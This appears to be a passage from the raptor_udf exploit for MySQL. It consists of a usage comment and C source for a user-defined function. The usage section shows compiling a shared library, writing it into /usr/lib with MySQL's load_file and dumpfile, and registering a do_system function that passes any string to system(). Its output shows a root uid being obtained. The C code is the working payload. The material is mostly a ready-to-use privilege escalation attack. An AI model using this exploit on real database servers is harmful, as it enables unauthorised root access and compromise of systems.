* Usage:
* $ id
* uid=500(raptor) gid=500(raptor) groups=500(raptor)
* $ gcc -g -c raptor_udf.c
* $ gcc -g -shared -W1,-soname,raptor_udf.so -o raptor_udf.so raptor_udf.o -lc
* $ mysql -u root -p
* Enter password:
* [...]
* mysql> use mysql;
* mysql> create table foo(line blob);
* mysql> insert into foo values(load_file('/home/raptor/raptor_udf.so'));
* mysql> select * from foo into dumpfile '/usr/lib/raptor_udf.so';
* mysql> create function do_system returns integer soname 'raptor_udf.so';
* mysql> select * from mysql.func;
* +-----------+-----+---------------+----------+
* | name | ret | dl | type |
* +-----------+-----+---------------+----------+
* | do_system | 2 | raptor_udf.so | function |
* +-----------+-----+---------------+----------+
* mysql> select do_system('id > /tmp/out; chown raptor.raptor /tmp/out');
* mysql> \! sh
* sh-2.05b$ cat /tmp/out
* uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)
* [...]
*/
raptor_udf.c:
#include <stdio.h>
#include <stdlib.h>
enum Item_result {STRING_RESULT, REAL_RESULT, INT_RESULT, ROW_RESULT};
typedef struct st_udf_args {
unsigned int arg_count; // number of arguments
enum Item_result *arg_type; // pointer to item_result
char **args; // pointer to arguments
unsigned long *lengths; // length of string args
char *maybe_null; // 1 for maybe_null args
} UDF_ARGS;
typedef struct st_udf_init {
char maybe_null; // 1 if func can return NULL
unsigned int decimals; // for real functions
unsigned long max_length; // for string functions
char *ptr; // free ptr for func data
char const_item; // 0 if result is constant
} UDF_INIT;
int do_system(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error)
{
if (args->arg_count != 1)
return(0);
system(args->args[0]);
return(0);
}